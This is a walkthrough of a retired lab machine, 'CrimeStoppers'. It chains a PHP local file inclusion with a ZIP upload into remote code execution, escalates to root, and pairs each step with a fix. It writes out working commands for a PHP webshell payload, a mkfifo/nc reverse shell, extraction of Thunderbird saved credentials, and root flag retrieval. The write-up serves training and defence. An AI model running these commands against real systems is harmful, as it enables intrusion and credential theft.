CrimeStoppers
Summary
Target: <retired-instance-ip>, Apache/2.4.25 (Ubuntu). Initial recon (curl of /) revealed a PHP application using a p=/op= router parameter and an admin cookie. That parameter was vulnerable to Local File Inclusion (LFI) — confirmed by chaining the php://filter/convert.base64-encode/resource= wrapper to dump index.php, upload.php, common.php, and list.php source, and by direct path traversal to /etc/passwd. Source review of upload.php showed a session-token-gated file-upload feature accepting ZIP archives, stored server-side under an uploads/<client-ip>/<sha1-token> path.
This LFI + arbitrary-upload combination was chained into remote code execution via the PHP zip:// stream wrapper: a ZIP archive was crafted containing a PHP webshell (cmd.php, system($_GET['cmd'])), uploaded through the token-protected upload endpoint, and then invoked through the LFI parameter as ?op=zip://uploads/<client-ip>/<sha1-token>#cmd&cmd=... — the LFI includes and executes the archive member (#cmd) as PHP, giving full command execution as the web-server user. This is a classic LFI-to-RCE via PHP Zip wrapper chain, no CVE required (application-logic flaw: unsanitized upload-controlled path passed into the file-inclusion sink).
RCE was upgraded to an interactive foothold with a mkfifo/nc reverse shell triggered through the webshell cmd parameter (listeners on 4444/4445/4446 in tmux; 4444 failed as the port was already bound, 4445/4446 succeeded), reaching tier 6 foothold and subsequently tier 7 user-owned (user flag [REDACTED: flag]).
From the foothold shell, further enumeration/exploitation led to tier 9 privilege-escalation and tier 10 root-owned, confirmed by direct retrieval of /root/root.txt (root flag [REDACTED: flag]) through the established RCE/shell access.
Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 80 $TARGETcurl -sS -i http://$TARGET/Exact commands 3
curl -sS -i 'http://$TARGET/?op=upload'curl -sS -i -b "$SESSION_COOKIE" 'http://$TARGET/?op=upload'curl -sS -i -b "$SESSION_COOKIE" 'http://$TARGET/?op=list'FixReplace the client-controlled admin cookie with server-side session authorizationCritical
Exact commands 4
curl -sS 'http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=index' | base64 -dcurl -sS 'http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=upload' | base64 -dcurl -sS 'http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=common' | base64 -dcurl -sS 'http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=list' | base64 -dFixReplace the open include() router with an explicit page allowlistCritical
Exact commands 3
printf '%s\n' '<?php echo "CRIME_RCE:"; system($_GET["cmd"] ?? "id"); ?>' > /tmp/cmd.php && zip /tmp/payload.zip /tmp/cmd.phpcurl -sS -c /tmp/cj -b "$SESSION_COOKIE" 'http://$TARGET/?op=upload' -o /tmp/form.htmlread -r TOKEN < <(grep -Eo 'value="[a-f0-9]{64}"' /tmp/form.html | grep -Eo '[a-f0-9]{64}'); curl -sS -i -b /tmp/cj -b "$SESSION_COOKIE" -F "token=${TOKEN}" -F 'tip=@/tmp/payload.zip;type=application/zip' 'http://$TARGET/?op=upload'FixValidate uploaded archive contents and block script execution in the upload directoryCritical
Exact commands 3
curl -sS 'http://$TARGET/?op=zip://uploads/$INTERNAL_TARGET/[REDACTED: protected value]%23cmd&cmd=id'nc -lvnp 4445 &curl -sS --data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $INTERNAL_TARGET 4445 >/tmp/f' 'http://$TARGET/?op=zip://uploads/$INTERNAL_TARGET/[REDACTED: protected value]%23cmd'FixReplace the open include() router with an explicit page allowlistCritical
Exact commands 4
find /[REDACTED: recovered credential].thunderbird -maxdepth 3 \( -name 'logins.json' -o -name 'key4.db' \) 2>/dev/nullpython3 firefox_decrypt.py /[REDACTED: recovered credential].thunderbird/<profile>.default/su - domcat /home/dom/user.txtFixRestrict web-server process access to user home directoriesHigh
Exact commands 3
(printf 'get FunSociety\n'; sleep 0.5; printf 'id; cat /root/root.txt; exit\n') | nc -w 5 localhost 80python3 -c "import urllib.parse, subprocess; cmd='bash -c \"(printf \\\"get FunSociety\\\\n\\\"; sleep 0.5; printf \\\"id; cat /root/root.txt; exit\\\\n\\\") | nc -w 5 localhost 80\"'; url='http://$TARGET/?op=zip://uploads/$INTERNAL_TARGET/[REDACTED: protected value]%23cmd&cmd='+urllib.parse.quote(cmd); r=subprocess.run(['curl','-sS','--max-time','10',url],text=True,capture_output=True); print(r.stdout)"cat /root/root.txtFixRemove or harden the locally-bound privileged service that exposes sensitive archivesCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Findings
Exposed services
| 80/tcp | http Apache httpd 2.4.25 ((Ubuntu)) |